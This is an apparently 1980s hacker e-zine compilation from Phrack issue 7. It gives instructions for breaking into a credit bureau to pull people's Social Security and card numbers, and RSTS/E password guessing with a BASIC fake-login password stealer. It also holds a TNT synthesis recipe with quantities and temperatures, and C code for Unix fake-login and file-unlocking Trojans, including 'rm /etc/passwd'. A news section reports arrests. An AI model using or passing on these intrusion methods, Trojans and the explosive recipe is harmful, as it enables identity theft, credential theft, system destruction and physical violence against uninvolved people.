This is the complete version of Hacking Chilton. There is another one that is floating around that's not as complete. If you see it anywhere please ask the sysop to kill it and put this one in its place.

The Chilton Corp. is a major credit firm located on Greenville Ave. in Dallas, Texas. This is where a lot of the companies that you apply for credit, check you and your neighbors credit records. Unlike other credit systems such as TRW and CBI, this one contains the records for people with good credit and doesn't wipe out some of the numbers of the cards themselves. All information is complete and includes full numbers as well as the bank that issued it, limit, payments due, payments late, their SSN, current & former address, and also their current and former employer. All you need to know to access this info is the full name, and address of your "victim".

Now, how to hack the Chilton. Well, the Chilton system is located in Dallas and the direct dialup (300/1200) is 214‑783‑6868. Be in half duplex and hit return about 10 times until it starts to echo your returns. There is a command to connect with E‑mail that you can put in before echoing return. By echoing the return key your signifying that you want the credit system. I wont go into E‑mail since there is nothing of special interest there in the first place. If you are interested in it, try variations of /x** (x=A,B,C,etc.). All input is in upper case mind you. Back to the credit part, once you echo return, you can type: DTS Ctrl‑s if you really need to see the date and time or you can simply start hacking. By this, I mean:

SIP/4char. Ctrl‑s

This is the Sign In Password command followed by a 4 character alpha numeric password, all caps as I said before. You can safely attempt this twice without anyone knowing your there. After the third failed attempt the company printer activates itself by printing "Login Attempt Failed". This is not a wise thing to have printed out while your trying to hack into it since there is always someone there. If you try twice and fail, hit Ctrl‑d, call back, echo, and try again. You can keep doing this as long as you wish since there is no other monitoring device than that printer I mentioned before. Since this only activates when you fail to login correct you can safely say there is little if no danger of your discovery. I would suggest going through an extender though since Chilton does have access to tracing equipment. About the passwords, as far as I know, there are 3 different classes of them with varying privileges, these are:

1‑User/Employee

2‑Permanent/Secretary

3‑Input Output

The first one is just to look and pull credit reports. These passwords go dead every Sunday night at 11:00pm or so. The new ones are good from Monday to Sunday night. Even though your pass is good for one week, there are limited times you can use this. The credit system is only accessible at these times: Mon‑Fri: 8:00am to 11:00pm, Sat: 8:00am to 9:00pm, and Sun: 8:00am to 6:00pm The second class is the same as the first except that these only change whenever someone leaves the company. These were originally supposed to be set up for the secretaries so that if they ever need quick access they could w/o having to go down to the Credit Dept. every week for a new password. The third is one I have never gotten..yet. It has the ability to alter a persons credit reports for one month. At the first of the month the system updates all reports and changes your alterations to the credit reports. Doing this though would warrant going through a diverter since your fucking with someone's life now. Once you have hacked a pass and it accepts the entry it will display the warning:

****WARNING! UNAUTHORIZED ACCESS OF THIS SYSTEM IS A FEDERAL CRIME!****

Or something along the same lines. After this you should be left to input something. This is where you enter either In House Mode, System Mode, or Reporting Mode. In House Mode will give you the reports for the people living in Dallas/Fort Worth and surrounding counties. System Mode is good for surrounding states that include:

Massachusets, Illinois, Louisiana, Missouri, Arkansas, New Mexico, Colorado, Arizona, some of New Jersey, and a few others I cant remember. There are 11 states it covers.

Reporting is a mode used for getting transcripts of a persons reports and would require you to input a companies authorization number. So for this file lets stick to In House and System. Get your victims stats ready and enter a mode:

In House: I/NH Ctrl‑s (Dallas/Ft. Worth 214)

System: I/S Ctrl‑s (All other NPA's)

After that its time to pull records. Type in:

I/N‑Last Name/F‑First Name/L‑Street Name/Z‑Zip Code/** Ctrl‑s

If you don't know his street name, use 'A' and it will go into a global search routine until it finds name that match or are at least 80% similar to the one you used. Although the Zip Code is not needed and can be left out, it does narrow the search field down considerably. Once it finds the name, it will show you his Name, SSN, Current Address, Employer, and former ones if there are any. Right after his name you will see a ID number. Sorta like: 100‑xxxxx Write this down as it is your key to getting his reports. After it finishes listing what it has on him its time to see the full story. Type:

N/100‑xxxxx/M/D Ctrl‑s

What it will display now is his whole credit history. When you first pulled his ID number you might have seen he had two names but with a variance like middle name or a misspelled address. Pull both of them as they are just an error in whoever put the reports in. I would suggest capturing this so that you can refer back to it w/o having to access the system every time.

There is another way to get into Chilton through Tymnet but I have no idea of the address for this and its a waste of time. If you happen to get the name and address of an employee of the company forget the idea of pulling his stats, Chilton doesnt allow employee records to be in there. One very good point made not too long ago is the prospect of going through the phone book and picking names at random.

Although Credit Card numbers are displayed credit card fraud is thwarted by the small fact that it does not show expiration dates. No company making an actual inquisition on a person would need that information and to prevent the fraudulent or misuse of the information they were left out. There is an interesting note that at one time in the companies history they did have a small that signified a drug record. This was taken out as it wasn't pertinent to the computers purpose and was only there because Borg Warner, the company that owns Chilton wanted to pry into peoples lives. The computer has a 10 line rotary, so unless there are 11 people using it at the same time your chances of getting a busy signal are almost if not next to nil.

Disclaimer:

The information provided in this file is a tutorial and is provided for the purpose of teaching others about this system and how it operates. It is not provided to promote the fraudulent use of credit cards or any other such action(s) that could be considered illegal or immoral. Myself, and the editors/publishers/distributors of this newsletter are in no way responsible for the actions or intentions of the reader(s) of this file.

<>>>> Ryche <<<<>

Hacking RSTS Part 1

==Phrack Inc.==

Volume One, Issue 7, Phile 5 of 10

$$$$$$$$$$$$$$$$$$$$

$

$ PROGRAMMING RSTS/E $

$ File1: Passwords $

$

$ by: The Seker $

$$$$$$$$$$$$$$$$$$$$

$ Written (c) May 22, 1986 $

$$$$$$$$$$$$$$$$$$$$

PREFACE:

‑‑‑‑‑‑‑‑

This document is first in a series of ongoing files about using the RSTS/E operating system. All the files are based on version 8.0 as it is almost fully compatible with the previous releases. If the need arises I have made sure to note differences between V8.x and V9.x.

Credit goes to High Evolutionary for urging me to write these files; to Night Stalker for sharing info; and to all other RSTS hackers that have contributed in some way or another.

HISTORY:

‑‑‑‑‑‑‑‑

The RSTS/E (Resource System Time Sharing /Environment) operating system was developed for the PDP/11 series of minicomputers created by DEC. (Digital Equipment Corporation) It was developed with ease of use for the user (and hacker) in mind. Because of this, there have been a lot of overlooked errors leaving the system with quite weak security. In later versions, especially the 9.x series password security has been greatly improved and is more secure, but still has plenty of bugs for us to breach.

LOGGING ON:

‑‑‑‑‑‑‑‑‑‑‑

Briefly.. locate a valid number and connect. Hit c/r (carriage return) a few times or type:

HELLO

The system should identify itself displaying to you who owns it, what version they're running under, the date, and the time. Then it will prompt for an account number and a password.

Accounts are in a PPN (Project Program Number) format. This is actually two numbers each between 0 and 254 separated by a comma or a slash. (eg. 3,45 or 27/248) Privileged accounts which you should hopefully be striving for all start with a 1. So start hacking 1,x accounts.

Passwords are 1‑6 characters long. They are only alphanumeric so you don't have to worry about all that other shit being included. On V9.x systems passwords may be up to 8 characters if the operator has changed the default length. But this rarely ever happens as most ops are too lazy. Common passwords are:

SYSLIB

SYSGEN

SYSCON

SYSMGR

SYSOPR

SYSTEM

OPRATR

RSTS

DECNET

GAMES

YYYYYY

XXXXXX

XYXYXY

DATA

RICH

XXX

AAA

Many of those have been rumored to be defaults. But actually I think the true default (if there is one!) password is:

RSTSE

Also, accounts that have a password of:

??????

are only accessible by operators.

Remember to try names, cars, objects, the name of the company (in different variations), etc. Cause most people generally pick passwords that have some relation to their private life.. Take a little time and guess...

YOUR IN!

‑‑‑‑‑‑‑‑

Once you have succeeded in hacking out a valid password, whether it be privileged or not, I suggest you find out who is logged onto the system. You can do this simply by typing:

SY

This will tell you everyone logged on, what they are doing at the moment, their job number, whether they are attached or detached, and a hell of a lot of other crap. What you are looking for is someone else logged in under the same account you are. If you find another user in the same account you hacked, log off and call back later. This will prolong the life of your account and prevent a rise in suspicion by the sysops. Remember, every system keeps a log of what you do, and if two people are logged in under the same account many times the sysops will delete or change the password to that account. If everything checks out okay, you're free to do as you please. To list the files in your allotted space type:

DIR

or to see all the files on the system type:

DIR (*,*)

NOTE: [ ] may be used in place of ( ) when dealing with files. * acts as a wildcard on the RSTS system and can be used in place of account numbers when searching for specific files. Speaking of searching for files; to run a file type:

RUN filename.filetype

where filename = the file you wish to run, and filetype = the extension. Experiment! Try what you will. If you ever need help just type: HELP

Read the files contained within help. They are very detailed and I guarantee can help you with what ever it is you need done. One other thing, a few useful control characters are:

^C Breaks out of whatever your doing

^R Repeats last line typed

^X If ^C doesn't work, this may

^O Use to stop the flow of text without aborting the function in process ^T Tells status and runtime of terminal

^U Deletes line presently being typed in

^H Deletes characters

^S Transmission off

^Q Transmission on

GAINING PRIVILEGES:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you weren't able to hack out a privileged account don't panic. There are still a few other ways for you to attain sysop status. These methods may not always work, but they are worth a try.

]SYSTEM LOG[

On many RSTS/E systems before V9.0 there is one account dedicated to keeping the system log; everything you and everyone else does. I have found this account many times to be 1,101, 1,2, or 0,1 but you may want to do a directory find to make sure. Type:

DIR (*,*)OPSER.LOG

or if nothing appears from that type:

DIR (*,*)SYSLOG.*

or

DIR (*,*)

Look for a file similar in name to that and mark down the account it appears in. Now that you know which account the system log resides in logoff. BYE

Then sign back on using the account in which the file was in. For password try one of the following:

OPSER

OPSLOG

LOG

OPS

OOPS

OPRATR

SYSLOG

SYSTEM

These are common passwords to that account. If none of these work your out of luck unless you can think of some other password that may be valid. ]SYSTEM BUGS[

When operating systems as complex as RSTS/E are created there will undoubtedly be a few bugs in the operation or security. (Sometimes I am not sure if these are intentional or not.) These can often be taken advantage of. One that I know of is RPGDMP.TSK. To use this type:

RUN (1,2)RPGDMP

It will ask for a filename, and an output device. Give it any filename on the system (I suggest $MONEY, $REACT, or $ACCT.SYS) and it will be dumped to the specified device. (db1:, screen, etc).

Credit for this goes to The Marauder of LOD for finding, exposing and sharing this bug with all.

If you find any other bugs similar to this, I would appreciate your getting in touch with and letting me know.

GETTING PASSWORDS:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now that you've hopefully gotten yourself priv's we can get on with these files. Getting many passwords is a safety procedure, kind of like making a backup copy of a program. There are a number of ways to get yourself passwords, the easiest is by using privileges, but we will discuss that in a later file. The methods I am going to explain are the decoy and a trick I like to use, which I call the mail method.

]DECOY[

The decoy, commonly called a Trojan Horse, (which is something completely different) is a program which emulates login.bac. When the unsuspecting user enters his account and password you have your program store it into a file that you can retrieve later. Here is a short program I've written that will preform this task:

type NEW and it will prompt for a filename. Enter something not to obvious.

1 ! RSTSE Decoy

2 ! Written by The Seker (c) 1986 TOK!

5 extend

10 print:print

20 &"RSTS V8.0‑07 TOK Communications Ltd. Job 7 <Dial‑up> KB41 ";date$(0);" ";time$(0)

30 print

40 &"User: ";

50 open "KB:" for input as file 1

60 on error goto 300

70 input 1,proj%,prog%

80 z$=sys(chr$(3%))

90 &"Password: ";

100 on error goto 300

110 input 1,pass$

120 print:z$=sys(chr$(2%))

130 close 1

140 open "SYSLIB.BAC" for output as file 2

150 print 2,proj%

160 print

2,prog%

170 print 2,pass$

180 close 2

200 print:print

210 off$=sys(chr$(14%)+"bye/f"+chr$(13))

300 if erl=70 then goto 350

310 if erl=110 then goto 360

350 &"Invalid entry ‑ try again":z$=sys(chr$(2%)):try=try+1:if try=5 then goto 200 else resume 30

360 &"Invalid entry ‑ try again":try=try+1:if try=5 then goto 200 else resume 90

999 end

The program as I said emulates login.bac, then logs the person off after a few tries. Save this program. Then run it. When it starts, just drop the carrier. The next person to call within 15 minutes will get your imitation login.

If you are working on an older system like V7.0 change line 40 to read: 40 &" ";

NOTE: This will not work without modifications on releases after V8.7. An improved and updated version of this program will be released as a small file at a later date.

Next time you login and you want to recover the file type: TYPE SYSLIB.BAC

It should print out the account and password. If you set this running each time you plan on hanging up within a few days you'll have yourself a handful of valid accounts.

]MAIL[

To run mail type:

RUN $MAIL

The mail method is probably used by many hackers and since I like to use it, I thought I'd tell you what it was.

When you run the program the utility will tell you exactly how to use itself. Assuming you know a little about it anyway we will get on with the file. The object is to send mail to another user and try and convince him/her you are the sysop and are writing him/her to validate their password. Don't try this with a priv'd user! It would result in instant deletion. Here's basically what you'd type:

Hello. We are contacting each of the users and validating their records to keep our files up to date. If you would cooperate and leave me a response which includes your full name, account number, and password we would appreciate your help.

John Doe

System's Operator

4,11

As you can see the idea is to con a user into believing you are one of the system ops. I would say this method works approximately 70% of the time on most systems since users often times don't associate with sysops. Use a different name if you try this though, as John Doe wouldn't fool anyone. (Be creative) Also the 4,11 is the account you'd like them to leave the response too.

You can try a few variations of this if you like. For example, if the system you're hacking has a chat program:

RUN $TALK

You can just talk live time to them. Or if you somehow (like trashing) manage to get a list of all the users and their phone numbers, you can call them up and bullshit them.

NOTE: This document is intended for informational purposes only. The author is in no way responsible for how it is used. Sysops are free to display this at their will as long as no information within is altered

How to Make TNT

==Phrack Inc.==

Volume One, Issue 7, Phile 6 of 10

XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX

Xx xX

Xx American Dynamite xX

Xx xX

Xx By The Rocker xX Xx of xX Xx Metallibashers Inc. xX

Xx xX

Xx for: ==Phrack Inc.== xX

Xx xX

XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX

Recipe:

Mix 170 parts tolulene with 100 parts acid. The acid made of 2 parts of 70% nitric and 3 parts of 100% sulfuric. Mix below 30 degrees. Set this down for 30 min. and let it separate. Take the mononitrotolulene and mix 100 part of it with 215 parts of acid. This acid is 1 part pure nitric and 2 parts pure sulfuric. Keep the temperature at 60‑ 70 degrees while they are slowly mixed. Raise temp to 90‑100 and stir for 30 min. The dinitrotoluene is separated and mix 100 parts of this stuff with 225 parts of 20% oleum which is 100% sulfuric with 20% extra dissolved sulfur trioxide, and 65 parts nitric acid. Heat at 95 degrees for 60 min. Then at 120 degrees for 90 min.

Separate the trinitrotoluene and slosh it around in hot water. Purify the powder by soaking it in benzyne.

Presto! American Dynamite!

Thanx to S.A. for the idea! Thanx to Phrack Inc. for just being a sponsor!

Don't forget to call these systems after you obliterate someone's house with that T.N.T...

=====================

Speed Demon Elite..........415/522‑3074 High Times.................307‑362‑1736 Metalland South............404‑576‑5166 Brainstorm Elite...........612‑345‑2815 Atlantis...................215‑844‑8836

=====================

Metallizing,

The Rocker/MBI

Trojan Horses in Unix

==Phrack Inc.==

Volume One, Issue 7, Phile 7 of 10

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UNIX Trojan Horses

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By Shooting Shark of Tiburon Systems / R0DENTZWARE ‑ 6/26/86

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

"UNIX Security" is an oxymoron. It's an easy system to bruteforce hack (most UNIX systems don't hang up after x number of login tries, and there are a number of default logins, such as root, bin, sys and uucp). Once you're in the system, you can easily bring it to its knees (see my previous Phrack article, "UNIX Nasty Tricks") or, if you know a little 'C', you can make the system work for you and totally eliminate the security barriers to creating your own logins, reading anybody's files, etcetera. This file will outline such ways by presenting 'C' code that you can implement yourself.

Requirements

‑‑‑‑‑‑‑‑‑‑‑‑

You'll need a working account on a UNIX system. It should be a fairly robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to school and have an account on the school system, that will do perfectly.

Notes

‑‑‑‑‑

This file was inspired an article in the April, '86 issue of BYTE entitled "Making UNIX Secure." In the article, the authors say "We provide this information in a way that, we hope, is interesting and useful yet stops short of being a 'cookbook for crackers.' We have often intentionally omitted details." I am following the general outline of the article, giving explicit examples of the methods they touched on.

An unrelated note: Somewhere there's a dude running around using the handle "Lord British" (not THE Lord British...). This is a message for LB: "Fuck off and die."

Here we go...

Project One: Fishing For Passwords

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You can implement this with only a minimal knowledge of UNIX and C. However, you need access to a terminal that many people use the computer lab at your school, for example.

When you log onto a typical UNIX system, you see something like this:

Tiburon Systems 4.2bsd / System V (shark)

login: shark

Password: (not printed)

The program I'm giving you here simulates a logon sequence. You run the program from a terminal and then leave. Some unknowing fool will walk up and enter their login and password. It is written to a file of yours, then "login incorrect" is printed, then the fool is asked to log in again. The second time it's the real login program. This time the person succeeds and they are none the wiser.

On the system, put the following code into a file called 'horse.c'. You will need to modify the first 8 lines to fit your system's appearance.

‑‑‑‑‑ Code Begins Here ‑‑‑‑‑

/* this is what a 'C' comment looks like. You can leave them out. */

/* define's are like macros you can use for configuration. */

define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"

/* The above string should be made to look like the message that your

* system prints when ready. Each \n represents a carriage return. */

define LOGIN "login: "

/* The above is the login prompt. You shouldn't have to change it

* unless you're running some strange version of UNIX.

*/

define PASSWORD "password:"

/* The above is the password prompt. You shouldn't have to change

* it, either.

*/

define WAIT 2

/* The numerical value assigned to WAIT is the delay you get after

* "password:" and before "login incorrect." Change it (0 = almost * no delay, 5 = LONG delay) so it looks like your system's delay. * realism is the key here ‑ we don't want our target to become * suspicious.

*/

define INCORRECT "Login incorrect.\n"

/* Change the above so it is what your system says when an incorrect

* login is given. You shouldn't have to change it.

*/

define FILENAME "stuff"

/* FILENAME is the name of the file that the hacked passwords will

* be put into automatically. 'stuff' is a perfectly good name. */

/* Don't change the rest of the program unless there is a need to

* and you know 'C'.

*/

include <curses.h>

include <signal.h>

int stop();

main()

{

char name[10], password[10];

int i;

FILE *fp, *fopen();

signal(SIGINT,stop);

initscr();

printf(SYSTEM);

printf(LOGIN);

scanf("%[^\n]",name);

getchar();

noecho();

printf(PASSWORD);

scanf("%[^\n]",password);

printf("\n");

getchar();

echo();

sleep(WAIT);

if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { fprintf(fp,"login %s has password %s\n",name,password); fclose(fp);

}

printf(INCORRECT);

endwin();

}

stop()

{

endwin();

exit(0);

}

‑‑‑‑‑ Source Ends Here ‑‑‑‑‑

OK, as I said, enter the above and configure it so it looks exactly like your system's login sequence. To compile this program called 'horse.c' type the following two lines: (don't type the %'s, they are just a sample prompt)

% cc horse.c ‑lcurses ‑ltermcap

% mv a.out horse

You now have the working object code in a file called 'horse'. Run it, and if it doesn't look like your systems logon sequence, re‑edit horse.c and re‑compile it. When you're ready to put the program into use, create a new file and call it 'trap' or something. 'trap' should have these two commands:

horse (this runs your program)

login (this runs the real login program)

to execute 'trap' type:

% source trap (again, don't type the %)

and walk away from your terminal...

After you've run it successfully a few times, check your file called 'stuff' (or whatever you decided to call it). It will look like this:

user john has password secret

user mary has password smegma

etc.

Copy down these passwords, then delete this file (it can be VERY incriminating if the superuser sees it).

Note ‑ for best results your terminal should be set to time‑out after a few minutes of non‑use ‑ that way, your horse program doesn't run idle for 14 hours if nobody uses the terminal you ran it on.

‑‑‑‑‑

The next projects can be run on a remote system, such as the VAX in Michigan you've hacked into, or Dartmouth's UNIX system, or whatever. However, they require a little knowledge of the 'C' language. They're not something for UNIX novices.

Project Two: Reading Anybody's Files

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When somebody runs a program, they're the owner of the process created and that program can do anything they would do, such as delete a file in their directory or making a file of theirs available for reading by anybody.

When people save old mail they get on a UNIX system, it's put into a file called mbox in their home directory. This file can be fun to read but is usually impossible for anybody but the file's owner to read. Here is a short program that will unlock (i.e. chmod 777, or let anybody on the system read, write or execute) the mbox file of the person who runs the program:

‑‑‑‑‑ Code Begins Here ‑‑‑‑‑

include <pwd.h>

struct passwd *getpwnam(name);

struct passwd *p;

char buf[255];

main()

{

p = getpwnam(getlogin()); sprintf(buf,"%s/%s",p‑>pw_dir,"mbox");

if ( access(buf,0) > ‑1 ) {

sprintf(buf,"chmod 777 %s/%s",p‑>pw_dir,"mbox"); system(buf);

}

}

‑‑‑‑‑ Code Ends Here ‑‑‑‑‑

So the question is: How do I get my target to run this program that's in my directory?

If the system you're on has a public‑messages type of thing (on 4.xbsd, type 'msgs') you can advertise your program there. Put the above code in another program ‑ find a utility or game program in some magazine like UNIX WORLD and modify it and do the above before it does it's real thing. So if you have a program called tic‑tac‑toe and you've modified it to unlock the mbox file of the user before it plays tic‑tac‑toe with him, advertise "I have a new tic‑tac‑toe program running that you should all try. It's in my directory." or whatever. If you don't have means of telling everybody on the system via a public message, then just send mail to the specific people you want to trap.

If you can't find a real program to modify, just take the above program and add this line between the two '}' lines at the end of the program:

printf("Error opening tic‑tac‑toe data file. Sorry!\n");

when the program runs, it will print the above error message. The user will think "Heh, that dude doesn't know how to write a simple tic‑tactoe program!" but the joke's on him ‑ you can now read his mail.

If there's a specific file in a user's directory that you'd like to read (say it's called "secret") just throw together this general program:

main()

{

if ( access("secret",0) > ‑1 ) system("chmod 777 secret");

}

then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program called super_star_wars, will you try it out?"

You can use your imagination. Think of a command you'd like somebody to execute. Then put it inside a system() call in a C program and trick them into running your program!

Here's a very neat way of using the above technique:

Project Three: Become the superuser

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Write a program that you can get people to run. Put this line in it somewhere:

if ( !strcmp(getlogin(),"root") ) system("whatever you want");

This checks to see if the root login is running your program. If he is, you can have him execute any shell command you'd like. Here are some suggestions:

"chmod 666 /etc/passwd"

/etc/passwd is the system's password file. The root owns this file. Normally, everyone can read it (the passwords are encrypted) but only the root can write to it. Take a look at it and see how it's formatted if you don't know already. This command makes it possible for you to now write to the file ‑ i.e. create unlimited accounts for yourself and your friends.

"chmod 666 /etc/group"

By adding yourself to some high‑access groups, you can open many doors.

"chmod 666 /usr/lib/uucp/L.sys"

Look for this file on your system if it is on the uucp net. It contains dialups and passwords to other systems on the net, and normally only the uucp administrator can read it. Find out who owns this file and get him to unknowingly execute a program to unlock it for you.

"rm /etc/passwd"

If you can get the root to execute this command, the system's passwd file will be removed and the system will go down and will not come up for some time to come. This is very destructive.

‑‑‑‑‑

If you are going to go about adding a trojan horse program to the system, there are some rules you should follow. If the hidden purpose is something major (such as unlocking the user's mbox or deleting all of his files or something) this program shouldn't be a program that people will be running a lot (such as a popular computer game) ‑ once people discover that their files are public access the source of the problem will be discovered quite easily. Save this purpose for a 'test' program (such as a game you're in the process of writing) that you ask individual people to run via mail or 'chatting' with them. As I said, this 'test' program can bomb or print a phony error message after completing its task, and you will just tell the person "well, I guess it needs more work", wait until they log off, and then read whatever file of theirs that you've unlocked. If your trojan horse program's sole purpose is to catch a specific user running it ‑ such as the root or other high‑powered user ‑ you can put the code to do so in a program that will be run a lot by various users of the system. Your modification will remain dormant until he runs it.

If you can't find the source to 'star trek' or whatever in C, just learn C and convert something from pascal. It can't hurt to learn C as it's a great language. We've just seen what it can do on a UNIX system. Once you've caught the root (i.e. you can now modify the /etc/passwd file) remove the spurious code from your trojan horse program and you'll never be caught.

That's it...if you have any questions or comments or you just want to bitch at me, call this system:

The Matrix

415/922‑2008

101 megs, IBM warezzz, 2400 baud, Phrack sub‑board, etc.

Lord British, I *dare* you to call.

(>

Phrack World News VI Part 1

==Phrack Inc.==

Volume One, Issue 7, Phile 8 of 10

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN *^=‑> Phrack World News <‑=^* PWN

PWN PWN

PWN Issue VI/Part 1 PWN

PWN PWN

PWN Compiled and Written by PWN

PWN PWN

PWN Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Oryan QUEST Vs. Dan Pasquale June 21, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Yes, our buddy from the west coast is back in action, this time against Oryan QUEST. Oryan QUEST was busted on April 6, 1986 (See PWN Issue IV Part 2), for hacking AT&T Mail, by the San Mateo Police Department and the FBI. Because of legal technicalities, the charges were dropped but, Oryan's computer was confiscated and never returned. He has since bought a new computer (IBM AT) and is now back among us.

It is believed that someone (Dan Pasquale?) must have found Oryan's notebook which contained his passwords on to bulletin boards around the country. One example of this is "The Radio Station Incident" (See PWN Issue IV Part 3) where a fake Oryan QUEST wandered the BBS and when questioned as to his legitimacy quickly dropped carrier.

Most recently Oryan QUEST has been getting job offers in computer security. He hasn't accepted any at this time. Also he has been getting several calls from Dan Pasquale. Dan wants Oryan's help to bust any and all hackers/phreaks. Dan is very pissed these days because someone charged $1100.00 worth of Alliance Teleconferences to his phone bill and now he wants revenge. He has stated that one of his main projects is to bust P‑80, sysoped by Scan Man. Dan Pasquale says that Scan Man works for a long distance communications carrier. I personally think he has as much of a chance of busting P‑80 Systems as a snowball staying frozen in a microwave.

Lets face it, if John Maxfield and the other investigators haven't busted P‑80 yet, they never will...let alone some little police sergeant in California. Dan also added that he is going to "hose" Speed Demon Elite. He claims that he is already a member of SDE and that its only a matter of time before he takes it down forever. He also mentioned that he has placed a Dialed Number Recorder (DNR) on Radical Rocker's phone lines. Furthermore, it was learned that Dan Pasquale managed to get an account on to The Underground, sysoped by Night Stalker. It is unknown as to if Dan has anything to do with Night Stalker's bust.

Dan Pasquale also said, "I will bust these hackers any way I can!" To really understand what that statement means you would probably have to live in California. What Pasquale was referring to was moving violations. If you (a driver under 21) receive any type of moving violation, both your insurance company and your parents are notified. This raises your insurance rates and gets you into trouble. If you get two moving violations, kiss your license goodbye for at least 2 years.

Radical Rocker having heard about Dan Pasquale's plans to destroy Speed Demon Elite, went on a user purge and has destroyed any and all accounts that were held by those that he did not know personally. Speed Demon Elite is now a private BBS and supposedly Radical Rocker has now cleared things up with Dan Pasquale.

Information provided by Oryan QUEST and Radical Rocker

________________________________________

Marx and Tabas: The Full Story July 1,1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It all started with Cory Andrew Lindsly aka Mark Tabas, age 19. He worked for the Colorado Plastic Card Company and had access to the plastic cards that credit cards were made with. He had taken 1350 and stashed them away for later usage.

His plan would have went perfectly if not for Steve Dahl. He was busted in Miami by the US Secret Service for whatever reasons. They gave him a chance to play ball. Dahl had heard about Mark Tabas and Karl Marx's scheme and after informing the Secret Service about this he was given an embossing machine. Steve Dahl then flew to Denver and set up the meeting. Mark Tabas lived in Denver and wanted his friend James Price Salsman aka Karl Marx, age 18, to join in on the fun. So Marx flew down on a carded plane ticket that Tabas had signed for.

The meeting took place in a room at the Denver Inn. The room was bugged and 19 cards (Visa, MasterCard, and some blanks) were made from a possible 140 that they had brought. They decided to celebrate by ordering champagne on the card of Cecil R. Downing.

A member of the Secret Service actually delivered the champagne to the room disguised as a waiter. Tabas signed for the drinks and the twosome were nailed. To make matters worse the SS also matched Tabas's signature with the signature used to buy the carded plane ticket.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The sentencing goes like this: Maximum: 10,000 dollars (Local Law)

Maximum: 250,000 (Federal Law)

Maximum: 10 years in jail (both)

Or any combination of the three.

Both Tabas and Marx were let out on bail of five thousand dollars each. The actually charge is: The manufacturing and possession of unauthorized access devices. The U.S. Magistrate Hilbert Schauer will be overhearing the case.

There is a rumor that charges on Salsman were dropped and that he is in no trouble at all since he didn't actually buy the plane ticket, he was given it, he didn't steal the cards, and he didn't emboss them. So supposedly the Secret Service let Marx go because he didn't know about the cards, he was just there at the wrong time.

Information Provided By The Denver Post and Sally Ride:::Space Cadet

________________________________________

The Saga Of Mad Hacker July 15, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mad Hacker of 616 NPA 616 wrote a random Compuserve hacker because he was bored and wanted something to do. It ran constantly for about a week and was he surprised when it came up with an account. However he made the mistake of not checking to see whose account it was, he used the SIG's (Special Interest Group's) and ran up a bill slightly under $300.

About a month later he was living over at a friend's house and the owner of the account showed up, who just happened to be a family friend of the people that MH was staying with. He asked both of them (the teenagers that is) if they were using his account (they all had Compuserve accounts and the family knew they were computer buddies). Mad Hacker said no and truthfully meant it.

Now around July 1, 1986 the account owner turned the matter over to the Kalamazoo Police Department since CIS (Compuserve) could not find anything out beyond the dialup used to access the account. The police called around to everyone in the area ("everyone" meaning all the "real" hacks and phreaks, not rodents who think they're bad because they use handles) including Thomas Covenant and Double Helix. Most of everyone instantly forgot that Mad Hacker ever existed, but somehow they got a hold of the phone number where he was staying (at the time he was staying at his girlfriend's house, he was not living there before) and contacted the owner of the account and put out a warrant for Mad Hacker's arrest.

As of now, Mad Hacker faces *FELONY* charges because of the large amount of the bill. The warrant for his arrest has been suspended, letting the account owner to handle things in his own way. The owner has confiscated all of Mad Hacker's computer equipment (3 computers and hardware etc.) until the bill is completely paid back.

Mad Hacker has progressed from merely delivering clever obscenities over the fone to his adversary to actual vengeance. One example in the planning stages will be in the form of camping out in said account owner backyard (in a rural area), hooking up to a junction box, and running the account owner's Long Distance phone bill out of sight.

Mad Hacker is supposed to have a file on Junction Box Modeming coming soon, he is currently borrowing a computer from a friend.

Information Provided by Thomas Covenant

________________________________________

Lock Lifter *Busted* July 2, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lock Lifter was busted for hacking an MCI Vax. he had downloaded a list of MCI Calling Cards that he later abused and in return he received a *free* DNR on his line for about 3 months. He was also given a scare from MCI Investigations (for unknown reasons) previous to his visit from law enforcement officers and as such his BBS, The Black Chamber, was deleted and the userfiles were destroyed, so there really isn't much to worry about from the user's standpoint.

Lock Lifter had been making plans to take his board down anyway, so being without The Black Chamber is just an adjustment we would have had to make eventually regardless of Lock Lifters bust.

Information Provided By Arthur Dent/Cyclone II/Kerrang Khan/The Seker

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Some notes from Cheap Shades:

